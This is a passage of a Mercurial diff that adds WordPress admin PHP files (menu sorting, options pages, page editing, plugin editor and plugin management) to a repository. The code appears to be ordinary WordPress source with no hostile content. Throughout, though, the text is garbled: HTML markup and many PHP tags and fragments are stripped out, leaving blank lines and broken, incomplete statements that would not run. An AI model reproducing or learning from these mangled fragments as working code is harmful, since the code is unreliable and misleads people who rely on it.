$a[2]; + $b = $b[2]; + if ( isset($menu_order[$a]) && !isset($menu_order[$b]) ) { + return -1; + } elseif ( !isset($menu_order[$a]) && isset($menu_order[$b]) ) { + return 1; + } elseif ( isset($menu_order[$a]) && isset($menu_order[$b]) ) { + if ( $menu_order[$a] == $menu_order[$b] ) + return 0; + return ($menu_order[$a] < $menu_order[$b]) ? -1 : 1; + } else { + return ($default_menu_order[$a] <= $default_menu_order[$b]) ? -1 : 1; + } + } + + usort($menu, 'sort_menu'); + unset($menu_order, $default_menu_order); +} + +$menu = add_menu_classes($menu); + +if (! user_can_access_admin_page()) { + do_action('admin_page_access_denied'); + wp_die( __('You do not have sufficient permissions to access this page.') ); +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/moderation.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/moderation.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-discussion.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-discussion.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,231 @@ + + +
    + +

    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    +

    + +

    +

    + +

    +
    +

    +

    + +

    +
    + +

    + +

    + + + + + + + + + + + + + + + + + +
    + __("Don’t show Avatars"), 1 => __('Show Avatars')); + foreach ( $yesorno as $key => $value) { + $selected = (get_option('show_avatars') == $key) ? 'checked="checked"' : ''; + echo "\n\t
    "; + } +?> +
    + + __('G — Suitable for all audiences'), 'PG' => __('PG — Possibly offensive, usually for audiences 13 and above'), 'R' => __('R — Intended for adult audiences above 17'), 'X' => __('X — Even more mature than above')); +foreach ($ratings as $key => $rating) : + $selected = (get_option('avatar_rating') == $key) ? 'checked="checked"' : ''; + echo "\n\t
    "; +endforeach; +?> + +
    + +
    + + __('Mystery Man'), + 'blank' => __('Blank'), + 'gravatar_default' => __('Gravatar Logo'), + 'identicon' => __('Identicon (Generated)'), + 'wavatar' => __('Wavatar (Generated)'), + 'monsterid' => __('MonsterID (Generated)') +); +$avatar_defaults = apply_filters('avatar_defaults', $avatar_defaults); +$default = get_option('avatar_default'); +if ( empty($default) ) + $default = 'mystery'; +$size = 32; +$avatar_list = ''; +foreach ( $avatar_defaults as $default_key => $default_name ) { + $selected = ($default == $default_key) ? 'checked="checked" ' : ''; + $avatar_list .= "\n\t'; + $avatar_list .= '
    '; +} +echo apply_filters('default_avatar_select', $avatar_list); +?> + +
    + + + +

    + +

    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-general.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-general.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,295 @@ + + + + +
    + +

    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    " />
    " /> +to be different from the directory you installed WordPress.'); ?>
    +
    +
    + +
    + + +UTC time is %s'), date_i18n( $time_format, false, 'gmt')); ?> + + %2$s'), $current_offset_name, date_i18n($time_format)); ?> + +
    + +
    + + + + UTC time is %s'), date_i18n($timezone_format, false, 'gmt')); ?> + + %1$s'), date_i18n($timezone_format)); ?> + +
    + +
    + + + +
    + time()) { + $found = true; + break; + } + } + + if ( isset($found) && $found === true ) { + echo ' '; + $message = $tr['isdst'] ? + __('Daylight savings time begins on: %s.') : + __('Standard time begins on: %s.'); + printf( $message, date_i18n(get_option('date_format').' '.get_option('time_format'), $tr['ts'] ) ); + } else { + _e('This timezone does not observe daylight savings time.'); + } + } + ?> +
    + +
    +
    + ' . date_i18n( $format ) . "
    \n"; + } + + echo ' ' . date_i18n( get_option('date_format') ) . "\n"; + + echo "\t

    " . __('Documentation on date formatting. Click “Save Changes” to update sample output.') . "

    \n"; +?> +
    +
    +
    + ' . date_i18n( $format ) . "
    \n"; + } + + echo ' ' . date_i18n( get_option('time_format') ) . "\n"; +?> +
    +
    + + + +

    + +

    +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-head.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-head.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,17 @@ + + + +

    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-media.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-media.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,103 @@ + + +
    + +

    + +
    + + +

    +

    + + + + + + + + + + + + + + + + + + +
    + + + +
    +/> + +
    + + + + +
    + + + + +
    + +

    + + + + + + + + + + + + + + +
    + +
    + + + + +' . __("If the width value is left blank, embeds will default to the max width of your theme."); ?> +
    + + + +

    + +

    + +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-misc.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-misc.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,78 @@ + + +
    + +

    + +
    + + +

    + + + + + + + + + + + + + + + +
    +wp-content/uploads'); ?> +
    + +
    + +
    + + + + + + + +
    + +
    + + + +

    + +

    + +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-permalink.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-permalink.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,257 @@ + + +set_permalink_structure($permalink_structure); + } + + if ( isset($_POST['category_base']) ) { + $category_base = $_POST['category_base']; + if (! empty($category_base) ) + $category_base = preg_replace('#/+#', '/', '/' . $_POST['category_base']); + $wp_rewrite->set_category_base($category_base); + } + + if ( isset($_POST['tag_base']) ) { + $tag_base = $_POST['tag_base']; + if (! empty($tag_base) ) + $tag_base = preg_replace('#/+#', '/', '/' . $_POST['tag_base']); + $wp_rewrite->set_tag_base($tag_base); + } +} + +$permalink_structure = get_option('permalink_structure'); +$category_base = get_option('category_base'); +$tag_base = get_option( 'tag_base' ); + +if ( $iis7_permalinks ) { + if ( ( ! file_exists($home_path . 'web.config') && win_is_writable($home_path) ) || win_is_writable($home_path . 'web.config') ) + $writable = true; + else + $writable = false; +} else { + if ( ( ! file_exists($home_path . '.htaccess') && is_writable($home_path) ) || is_writable($home_path . '.htaccess') ) + $writable = true; + else + $writable = false; +} + +if ( $wp_rewrite->using_index_permalinks() ) + $usingpi = true; +else + $usingpi = false; + +$wp_rewrite->flush_rules(); +?> + + +

    +

    + + +
    + +

    + +
    + + +

    URLs which have question marks and lots of numbers in them, however WordPress offers you the ability to create a custom URL structure for your permalinks and archives. This can improve the aesthetics, usability, and forward-compatibility of your links. A number of tags are available, and here are some examples to get you started.'); ?>

    + + +

    + + + + + + + + + + + + + + + + + + + + + +
    /?p=123
    /archives/123
    + + + +
    + +

    + +

    URLs here. For example, using topics as your category base would make your category links like http://example.org/topics/uncategorized/. If you leave these blank the defaults will be used.') ?>

    + +

    URLs here. For example, using topics as your category base would make your category links like http://example.org/index.php/topics/uncategorized/. If you leave these blank the defaults will be used.') ?>

    + + + + + + + + + + + + +
    + + + +

    + +

    +
    + +

    web.config file were writable, we could do this automatically, but it isn’t so this is the url rewrite rule you should have in your web.config file. Click in the field and press CTRL + a to select all. Then insert this rule inside of the /<configuration>/<system.webServer>/<rewrite>/<rules> element in web.config file.') ?>

    +
    + +

    +
    +

    web.config file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved.') ?>

    + +

    writable, we could do this automatically, but it isn’t so this is the url rewrite rule you should have in your web.config file. Create a new file, called web.config in the root directory of your site. Click in the field and press CTRL + a to select all. Then insert this code into the web.config file.') ?>

    +
    + +

    +
    +

    web.config file automatically, do not forget to revert the permissions after the file has been created.') ?>

    + + + +

    .htaccess file were writable, we could do this automatically, but it isn’t so these are the mod_rewrite rules you should have in your .htaccess file. Click in the field and press CTRL + a to select all.') ?>

    +
    + +

    +
    + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-privacy.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-privacy.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,51 @@ + + +
    + +

    + +
    + + + + + + + + +
    +

    /> +

    +

    /> +

    + +
    + + + +

    + +

    +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-reading.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-reading.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,90 @@ + + +
    + +

    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +

    +

    +

    +

    +
      +
    • ".__('Front page: %s')."", wp_dropdown_pages("name=page_on_front&echo=0&show_option_none=".__('- Select -')."&selected=" . get_option('page_on_front'))); ?>
    • +
    • ".__('Posts page: %s')."", wp_dropdown_pages("name=page_for_posts&echo=0&show_option_none=".__('- Select -')."&selected=" . get_option('page_for_posts'))); ?>
    • +
    + +
    +

    + Warning: these pages should not be the same!'); ?> +

    +
    + +
    + +
    +


    +

    +
    +character encoding of your blog (UTF-8 is recommended, if you are adventurous there are some other encodings)') ?>
    + + + +

    + +

    +
    +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options-writing.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options-writing.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,138 @@ + + +
    + +

    + +
    + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + 0, 'name' => 'default_category', 'orderby' => 'name', 'selected' => get_option('default_category'), 'hierarchical' => true)); +?> +
    + 0, 'name' => 'default_link_category', 'orderby' => 'name', 'selected' => get_option('default_link_category'), 'hierarchical' => true, 'type' => 'link')); +?> +
    + +

    +

    + + + + + + + + + + +
    +
    +
    +
    +
    + +

    +

    %s, %s, %s.'), wp_generate_password(8, false), wp_generate_password(8, false), wp_generate_password(8, false)) ?>

    + + + + + + + + + + + + + + + + + + + +
    + + +
    + +
    + 0, 'name' => 'default_email_category', 'orderby' => 'name', 'selected' => get_option('default_email_category'), 'hierarchical' => true)); +?> +
    + +

    + + + +

    + + + + + +

    Update Services because of your blog’s privacy settings.'), 'options-privacy.php'); ?>

    + + + + + +

    + +

    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/options.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/options.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,149 @@ + array( 'blogname', 'blogdescription', 'admin_email', 'users_can_register', 'gmt_offset', 'date_format', 'time_format', 'start_of_week', 'default_role', 'timezone_string' ), + 'discussion' => array( 'default_pingback_flag', 'default_ping_status', 'default_comment_status', 'comments_notify', 'moderation_notify', 'comment_moderation', 'require_name_email', 'comment_whitelist', 'comment_max_links', 'moderation_keys', 'blacklist_keys', 'show_avatars', 'avatar_rating', 'avatar_default', 'close_comments_for_old_posts', 'close_comments_days_old', 'thread_comments', 'thread_comments_depth', 'page_comments', 'comments_per_page', 'default_comments_page', 'comment_order', 'comment_registration' ), + 'misc' => array( 'use_linksupdate', 'uploads_use_yearmonth_folders', 'upload_path', 'upload_url_path' ), + 'media' => array( 'thumbnail_size_w', 'thumbnail_size_h', 'thumbnail_crop', 'medium_size_w', 'medium_size_h', 'large_size_w', 'large_size_h', 'image_default_size', 'image_default_align', 'image_default_link_type', 'embed_autourls', 'embed_size_w', 'embed_size_h' ), + 'privacy' => array( 'blog_public' ), + 'reading' => array( 'posts_per_page', 'posts_per_rss', 'rss_use_excerpt', 'blog_charset', 'show_on_front', 'page_on_front', 'page_for_posts' ), + 'writing' => array( 'default_post_edit_rows', 'use_smilies', 'ping_sites', 'mailserver_url', 'mailserver_port', 'mailserver_login', 'mailserver_pass', 'default_category', 'default_email_category', 'use_balanceTags', 'default_link_category', 'enable_app', 'enable_xmlrpc' ), + 'options' => array( '' ) ); +if ( !defined( 'WP_SITEURL' ) ) $whitelist_options['general'][] = 'siteurl'; +if ( !defined( 'WP_HOME' ) ) $whitelist_options['general'][] = 'home'; + +$whitelist_options = apply_filters( 'whitelist_options', $whitelist_options ); + +if ( !current_user_can('manage_options') ) + wp_die(__('Cheatin’ uh?')); + +switch($action) { + +case 'update': + if ( isset($_POST[ 'option_page' ]) ) { + $option_page = $_POST[ 'option_page' ]; + check_admin_referer( $option_page . '-options' ); + } else { + // This is for back compat and will eventually be removed. + $option_page = 'options'; + check_admin_referer( 'update-options' ); + } + + if ( !isset( $whitelist_options[ $option_page ] ) ) + wp_die( __( 'Error! Options page not found.' ) ); + + if ( 'options' == $option_page ) { + $options = explode(',', stripslashes( $_POST[ 'page_options' ] )); + } else { + $options = $whitelist_options[ $option_page ]; + } + + // Handle custom date/time formats + if ( 'general' == $option_page ) { + if ( !empty($_POST['date_format']) && isset($_POST['date_format_custom']) && '\c\u\s\t\o\m' == stripslashes( $_POST['date_format'] ) ) + $_POST['date_format'] = $_POST['date_format_custom']; + if ( !empty($_POST['time_format']) && isset($_POST['time_format_custom']) && '\c\u\s\t\o\m' == stripslashes( $_POST['time_format'] ) ) + $_POST['time_format'] = $_POST['time_format_custom']; + // Map UTC+- timezones to gmt_offsets and set timezone_string to empty. + if ( !empty($_POST['timezone_string']) && preg_match('/^UTC[+-]/', $_POST['timezone_string']) ) { + $_POST['gmt_offset'] = $_POST['timezone_string']; + $_POST['gmt_offset'] = preg_replace('/UTC\+?/', '', $_POST['gmt_offset']); + $_POST['timezone_string'] = ''; + } + } + + if ( $options ) { + foreach ( $options as $option ) { + $option = trim($option); + $value = null; + if ( isset($_POST[$option]) ) + $value = $_POST[$option]; + if ( !is_array($value) ) $value = trim($value); + $value = stripslashes_deep($value); + update_option($option, $value); + } + } + + $goback = add_query_arg( 'updated', 'true', wp_get_referer() ); + wp_redirect( $goback ); + break; + +default: + include('admin-header.php'); ?> + +
    + +

    +
    + + + + +get_results("SELECT * FROM $wpdb->options ORDER BY option_name"); + +foreach ( (array) $options as $option) : + $disabled = ''; + $option->option_name = esc_attr($option->option_name); + if ( is_serialized($option->option_value) ) { + if ( is_serialized_string($option->option_value) ) { + // this is a serialized string, so we should display it + $value = maybe_unserialize($option->option_value); + $options_to_update[] = $option->option_name; + $class = 'all-options'; + } else { + $value = 'SERIALIZED DATA'; + $disabled = ' disabled="disabled"'; + $class = 'all-options disabled'; + } + } else { + $value = $option->option_value; + $options_to_update[] = $option->option_name; + $class = 'all-options'; + } + echo " + + + +"; +endforeach; +?> +
    "; + + if (strpos($value, "\n") !== false) echo ""; + else echo ""; + + echo "
    + +

    +
    +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/page-new.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/page-new.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,31 @@ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/page.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/page.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,221 @@ +ID) ) + wp_die( __('You attempted to edit a page that doesn’t exist. Perhaps it was deleted?') ); + + if ( !current_user_can('edit_page', $page_ID) ) + wp_die( __('You are not allowed to edit this page.') ); + + if ( 'trash' == $post->post_status ) + wp_die( __('You can’t edit this page because it is in the Trash. Please move it out of the Trash and try again.') ); + + if ( 'page' != $post->post_type ) { + wp_redirect( get_edit_post_link( $post_ID, 'url' ) ); + exit(); + } + + wp_enqueue_script('post'); + if ( user_can_richedit() ) + wp_enqueue_script('editor'); + add_thickbox(); + wp_enqueue_script('media-upload'); + wp_enqueue_script('word-count'); + + if ( $last = wp_check_post_lock( $post->ID ) ) { + add_action('admin_notices', '_admin_notice_post_locked' ); + } else { + wp_set_post_lock( $post->ID ); + wp_enqueue_script('autosave'); + } + + include('edit-page-form.php'); + break; + +case 'editattachment': + $page_id = $post_ID = (int) $_POST['post_ID']; + check_admin_referer('update-attachment_' . $page_id); + + // Don't let these be changed + unset($_POST['guid']); + $_POST['post_type'] = 'attachment'; + + // Update the thumbnail filename + $newmeta = wp_get_attachment_metadata( $page_id, true ); + $newmeta['thumb'] = $_POST['thumb']; + + wp_update_attachment_metadata( $newmeta ); + +case 'editpost': + $page_ID = (int) $_POST['post_ID']; + check_admin_referer('update-page_' . $page_ID); + + $page_ID = edit_post(); + + redirect_page($page_ID); + + exit(); + break; + +case 'trash': + $post_id = isset($_GET['post']) ? intval($_GET['post']) : intval($_POST['post_ID']); + check_admin_referer('trash-page_' . $post_id); + + $post = & get_post($post_id); + + if ( !current_user_can('delete_page', $post_id) ) + wp_die( __('You are not allowed to move this page to the trash.') ); + + if ( !wp_trash_post($post_id) ) + wp_die( __('Error in moving to trash...') ); + + wp_redirect( add_query_arg( array('trashed' => 1, 'ids' => $post_id), $sendback ) ); + exit(); + break; + +case 'untrash': + $post_id = isset($_GET['post']) ? intval($_GET['post']) : intval($_POST['post_ID']); + check_admin_referer('untrash-page_' . $post_id); + + $post = & get_post($post_id); + + if ( !current_user_can('delete_page', $post_id) ) + wp_die( __('You are not allowed to move this page out of the trash.') ); + + if ( !wp_untrash_post($post_id) ) + wp_die( __('Error in restoring from trash...') ); + + wp_redirect( add_query_arg('untrashed', 1, $sendback) ); + exit(); + break; + +case 'delete': + $page_id = isset($_GET['post']) ? intval($_GET['post']) : intval($_POST['post_ID']); + check_admin_referer('delete-page_' . $page_id); + + $page = & get_post($page_id); + + if ( !current_user_can('delete_page', $page_id) ) + wp_die( __('You are not allowed to delete this page.') ); + + if ( $page->post_type == 'attachment' ) { + if ( ! wp_delete_attachment($page_id) ) + wp_die( __('Error in deleting...') ); + } else { + if ( !wp_delete_post($page_id) ) + wp_die( __('Error in deleting...') ); + } + + wp_redirect( add_query_arg('deleted', 1, $sendback) ); + exit(); + break; + +case 'preview': + check_admin_referer( 'autosave', 'autosavenonce' ); + + $url = post_preview(); + + wp_redirect($url); + exit(); + break; + +default: + wp_redirect('edit-pages.php'); + exit(); + break; +} // end switch +include('admin-footer.php'); +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/plugin-editor.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/plugin-editor.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,239 @@ +'.__('You do not have sufficient permissions to edit plugins for this blog.').'

    '); + +$title = __("Edit Plugins"); +$parent_file = 'plugins.php'; + +wp_reset_vars(array('action', 'redirect', 'profile', 'error', 'warning', 'a', 'file', 'plugin')); + +wp_admin_css( 'theme-editor' ); + +$plugins = get_plugins(); + +if ( isset($_REQUEST['file']) ) + $plugin = stripslashes($_REQUEST['file']); + +if ( empty($plugin) ) { + $plugin = array_keys($plugins); + $plugin = $plugin[0]; +} + +$plugin_files = get_plugin_files($plugin); + +if ( empty($file) ) + $file = $plugin_files[0]; +else + $file = stripslashes($file); + +$file = validate_file_to_edit($file, $plugin_files); +$real_file = WP_PLUGIN_DIR . '/' . $file; +$scrollto = isset($_REQUEST['scrollto']) ? (int) $_REQUEST['scrollto'] : 0; + +switch ( $action ) { + +case 'update': + + check_admin_referer('edit-plugin_' . $file); + + $newcontent = stripslashes($_POST['newcontent']); + if ( is_writeable($real_file) ) { + $f = fopen($real_file, 'w+'); + fwrite($f, $newcontent); + fclose($f); + + // Deactivate so we can test it. + if ( is_plugin_active($file) || isset($_POST['phperror']) ) { + if ( is_plugin_active($file) ) + deactivate_plugins($file, true); + wp_redirect(add_query_arg('_wpnonce', wp_create_nonce('edit-plugin-test_' . $file), "plugin-editor.php?file=$file&liveupdate=1&scrollto=$scrollto")); + exit; + } + wp_redirect("plugin-editor.php?file=$file&a=te&scrollto=$scrollto"); + } else { + wp_redirect("plugin-editor.php?file=$file&scrollto=$scrollto"); + } + exit; + +break; + +default: + + if ( isset($_GET['liveupdate']) ) { + check_admin_referer('edit-plugin-test_' . $file); + + $error = validate_plugin($file); + if ( is_wp_error($error) ) + wp_die( $error ); + + if ( ! is_plugin_active($file) ) + activate_plugin($file, "plugin-editor.php?file=$file&phperror=1"); // we'll override this later if the plugin can be included without fatal error + + wp_redirect("plugin-editor.php?file=$file&a=te&scrollto=$scrollto"); + exit; + } + + // List of allowable extensions + $editable_extensions = array('php', 'txt', 'text', 'js', 'css', 'html', 'htm', 'xml', 'inc', 'include'); + $editable_extensions = (array) apply_filters('editable_extensions', $editable_extensions); + + if ( ! is_file($real_file) ) { + wp_die(sprintf('

    %s

    ', __('No such file exists! Double check the name and try again.'))); + } else { + // Get the extension of the file + if ( preg_match('/\.([^.]+)$/', $real_file, $matches) ) { + $ext = strtolower($matches[1]); + // If extension is not in the acceptable list, skip it + if ( !in_array( $ext, $editable_extensions) ) + wp_die(sprintf('

    %s

    ', __('Files of this type are not editable.'))); + } + } + + require_once('admin-header.php'); + + update_recently_edited(WP_PLUGIN_DIR . '/' . $file); + + $content = file_get_contents( $real_file ); + + if ( '.php' == substr( $real_file, strrpos( $real_file, '.' ) ) ) { + $functions = wp_doc_link_parse( $content ); + + if ( !empty($functions) ) { + $docs_select = ''; + } + } + + $content = htmlspecialchars( $content ); + $codepress_lang = codepress_get_lang($real_file); + + ?> + +

    + +

    fatal error.') ?>

    + + + +
    + +
    + +

    + +
    +
    +%s (active)'), $file); + else + echo sprintf(__('Browsing %s (active)'), $file); + } else { + if ( is_writeable($real_file) ) + echo sprintf(__('Editing %s (inactive)'), $file); + else + echo sprintf(__('Browsing %s (inactive)'), $file); + } + ?> +
    +
    +
    + + + +
    +
    +
    +
    + +
    +

    + +
      + + > + +
    +
    +
    + +
    + + + + +
    + +
    + + + +

    Warning: Making changes to active plugins is not recommended. If your changes cause a fatal error, the plugin will be automatically deactivated.'); ?>

    + +

    + "; + else + echo ""; + ?> +

    + +

    the Codex for more information.'); ?>

    + +
    +
    +
    + + +
    + +

    + +
      + $text ) { + $sep = ( end($tabs) != $text ) ? ' | ' : ''; + $class = ( $action == $tab ) ? ' class="current"' : ''; + $href = admin_url('plugin-install.php?tab=' . $action); + echo "\t\t
    • $text$sep
    • \n"; +} +?> +
    +
    + +
    +ID, 'plugins_last_view', $status); + +$page = isset($_REQUEST['paged']) ? $_REQUEST['paged'] : 1; + +//Clean up request URI from temporary args for screen options/paging uri's to work as expected. +$_SERVER['REQUEST_URI'] = remove_query_arg(array('error', 'deleted', 'activate', 'activate-multi', 'deactivate', 'deactivate-multi', '_error_nonce'), $_SERVER['REQUEST_URI']); + +if ( !empty($action) ) { + switch ( $action ) { + case 'activate': + if ( ! current_user_can('activate_plugins') ) + wp_die(__('You do not have sufficient permissions to activate plugins for this blog.')); + + check_admin_referer('activate-plugin_' . $plugin); + + $result = activate_plugin($plugin, 'plugins.php?error=true&plugin=' . $plugin); + if ( is_wp_error( $result ) ) + wp_die($result); + + $recent = (array)get_option('recently_activated'); + if ( isset($recent[ $plugin ]) ) { + unset($recent[ $plugin ]); + update_option('recently_activated', $recent); + } + + wp_redirect("plugins.php?activate=true&plugin_status=$status&paged=$page"); // overrides the ?error=true one above + exit; + break; + case 'activate-selected': + if ( ! current_user_can('activate_plugins') ) + wp_die(__('You do not have sufficient permissions to activate plugins for this blog.')); + + check_admin_referer('bulk-manage-plugins'); + + $plugins = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array(); + $plugins = array_filter($plugins, create_function('$plugin', 'return !is_plugin_active($plugin);') ); //Only activate plugins which are not already active. + if ( empty($plugins) ) { + wp_redirect("plugins.php?plugin_status=$status&paged=$page"); + exit; + } + + activate_plugins($plugins, 'plugins.php?error=true'); + + $recent = (array)get_option('recently_activated'); + foreach ( $plugins as $plugin => $time) + if ( isset($recent[ $plugin ]) ) + unset($recent[ $plugin ]); + + update_option('recently_activated', $recent); + + wp_redirect("plugins.php?activate-multi=true&plugin_status=$status&paged=$page"); + exit; + break; + case 'error_scrape': + if ( ! current_user_can('activate_plugins') ) + wp_die(__('You do not have sufficient permissions to activate plugins for this blog.')); + + check_admin_referer('plugin-activation-error_' . $plugin); + + $valid = validate_plugin($plugin); + if ( is_wp_error($valid) ) + wp_die($valid); + + if ( defined('E_RECOVERABLE_ERROR') ) + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR); + else + error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING); + + @ini_set('display_errors', true); //Ensure that Fatal errors are displayed. + include(WP_PLUGIN_DIR . '/' . $plugin); + do_action('activate_' . $plugin); + exit; + break; + case 'deactivate': + if ( ! current_user_can('activate_plugins') ) + wp_die(__('You do not have sufficient permissions to deactivate plugins for this blog.')); + + check_admin_referer('deactivate-plugin_' . $plugin); + deactivate_plugins($plugin); + update_option('recently_activated', array($plugin => time()) + (array)get_option('recently_activated')); + wp_redirect("plugins.php?deactivate=true&plugin_status=$status&paged=$page"); + exit; + break; + case 'deactivate-selected': + if ( ! current_user_can('activate_plugins') ) + wp_die(__('You do not have sufficient permissions to deactivate plugins for this blog.')); + + check_admin_referer('bulk-manage-plugins'); + + $plugins = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array(); + $plugins = array_filter($plugins, 'is_plugin_active'); //Do not deactivate plugins which are already deactivated. + if ( empty($plugins) ) { + wp_redirect("plugins.php?plugin_status=$status&paged=$page"); + exit; + } + + deactivate_plugins($plugins); + + $deactivated = array(); + foreach ( $plugins as $plugin ) + $deactivated[ $plugin ] = time(); + + update_option('recently_activated', $deactivated + (array)get_option('recently_activated')); + wp_redirect("plugins.php?deactivate-multi=true&plugin_status=$status&paged=$page"); + exit; + break; + case 'delete-selected': + if ( ! current_user_can('delete_plugins') ) + wp_die(__('You do not have sufficient permissions to delete plugins for this blog.')); + + check_admin_referer('bulk-manage-plugins'); + + //$_POST = from the plugin form; $_GET = from the FTP details screen. + $plugins = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array(); + $plugins = array_filter($plugins, create_function('$plugin', 'return !is_plugin_active($plugin);') ); //Do not allow to delete Activated plugins. + if ( empty($plugins) ) { + wp_redirect("plugins.php?plugin_status=$status&paged=$page"); + exit; + } + + include(ABSPATH . 'wp-admin/update.php'); + + $parent_file = 'plugins.php'; + + if ( ! isset($_REQUEST['verify-delete']) ) { + wp_enqueue_script('jquery'); + require_once('admin-header.php'); + ?> +
    +

    + +

    +
      + ', sprintf(__('%s by %s'), $plugin['Name'], $plugin['Author']), ''; + ?> +
    +

    +
    + + + '; + ?> + + +
    +
    + +
    + +

    + +
    + ' . __('Plugins extend and expand the functionality of WordPress. Once a plugin is installed, you may activate it or deactivate it here.') . '

    '; +$help .= '

    ' . sprintf(__('If something goes wrong with a plugin and you can’t use WordPress, delete or rename that file in the %s directory and it will be automatically deactivated.'), WP_PLUGIN_DIR) . '

    '; +$help .= '

    ' . sprintf(__('You can find additional plugins for your site by using the new Plugin Browser/Installer functionality or by browsing the WordPress Plugin Directory directly and installing manually. To manually install a plugin you generally just need to upload the plugin file into your %2$s directory. Once a plugin has been installed, you may activate it here.'), 'plugin-install.php', WP_PLUGIN_DIR) . '

    '; + +add_contextual_help('plugins', $help); + +$title = __('Manage Plugins'); +require_once('admin-header.php'); + +$invalid = validate_active_plugins(); +if ( !empty($invalid) ) + foreach ( $invalid as $plugin_file => $error ) + echo '

    ' . sprintf(__('The plugin %s has been deactivated due to an error: %s'), esc_html($plugin_file), $error->get_error_message()) . '

    '; +?> + + +

    fatal error.') ?>

    + + + +
    + +

    get_error_message() ); ?>

    + +

    deleted.'); ?>

    + + +

    activated.') ?>

    + +

    activated.'); ?>

    + +

    deactivated.') ?>

    + +

    deactivated.'); ?>

    + + +
    + +

    + + $time ) + if ( $time + (7*24*60*60) < time() ) //1 week + unset($recently_activated[ $key ]); +if ( $recently_activated != get_option('recently_activated') ) //If array changed, update it. + update_option('recently_activated', $recently_activated); +$current = get_transient( 'update_plugins' ); + +foreach ( (array)$all_plugins as $plugin_file => $plugin_data) { + + //Translate, Apply Markup, Sanitize HTML + $plugin_data = _get_plugin_data_markup_translate($plugin_file, $plugin_data, false, true); + $all_plugins[ $plugin_file ] = $plugin_data; + + //Filter into individual sections + if ( is_plugin_active($plugin_file) ) { + $active_plugins[ $plugin_file ] = $plugin_data; + } else { + if ( isset( $recently_activated[ $plugin_file ] ) ) // Was the plugin recently activated? + $recent_plugins[ $plugin_file ] = $plugin_data; + $inactive_plugins[ $plugin_file ] = $plugin_data; + } + + if ( isset( $current->response[ $plugin_file ] ) ) + $upgrade_plugins[ $plugin_file ] = $plugin_data; +} + +$total_all_plugins = count($all_plugins); +$total_inactive_plugins = count($inactive_plugins); +$total_active_plugins = count($active_plugins); +$total_recent_plugins = count($recent_plugins); +$total_upgrade_plugins = count($upgrade_plugins); + +//Searching. +if ( isset($_GET['s']) ) { + function _search_plugins_filter_callback($plugin) { + static $term; + if ( is_null($term) ) + $term = stripslashes($_GET['s']); + if ( stripos($plugin['Name'], $term) !== false || + stripos($plugin['Description'], $term) !== false || + stripos($plugin['Author'], $term) !== false || + stripos($plugin['PluginURI'], $term) !== false || + stripos($plugin['AuthorURI'], $term) !== false || + stripos($plugin['Version'], $term) !== false ) + return true; + else + return 